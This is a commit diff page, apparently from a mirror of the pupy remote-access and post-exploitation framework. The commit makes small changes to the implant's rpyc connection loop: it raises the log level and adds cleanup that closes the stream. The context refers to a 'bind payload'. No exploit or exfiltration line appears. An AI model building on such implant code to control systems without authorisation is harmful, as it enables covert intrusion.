mirror of https://github.com/n1nj4sec/pupy.git
improve rpyc connection cleanup
This commit is contained in:
parent
f1658d18b0
commit
68cf2733d9
|
@ -74,7 +74,7 @@ except ImportError:
|
|||
except Exception as e:
|
||||
logging.warning(e)
|
||||
|
||||
logging.getLogger().setLevel(logging.WARNING)
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
|
||||
try:
|
||||
import pupy
|
||||
|
@ -339,6 +339,7 @@ def rpyc_loop(launcher):
|
|||
global attempt
|
||||
global debug
|
||||
|
||||
stream=None
|
||||
for ret in launcher.iterate():
|
||||
try:
|
||||
if isinstance(ret, tuple): # bind payload
|
||||
|
@ -400,6 +401,12 @@ def rpyc_loop(launcher):
|
|||
logging.exception(e)
|
||||
except:
|
||||
print "Exception ({}): {}".format(type(e), e)
|
||||
finally:
|
||||
if stream is not None:
|
||||
try:
|
||||
stream.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
Loading…
Reference in New Issue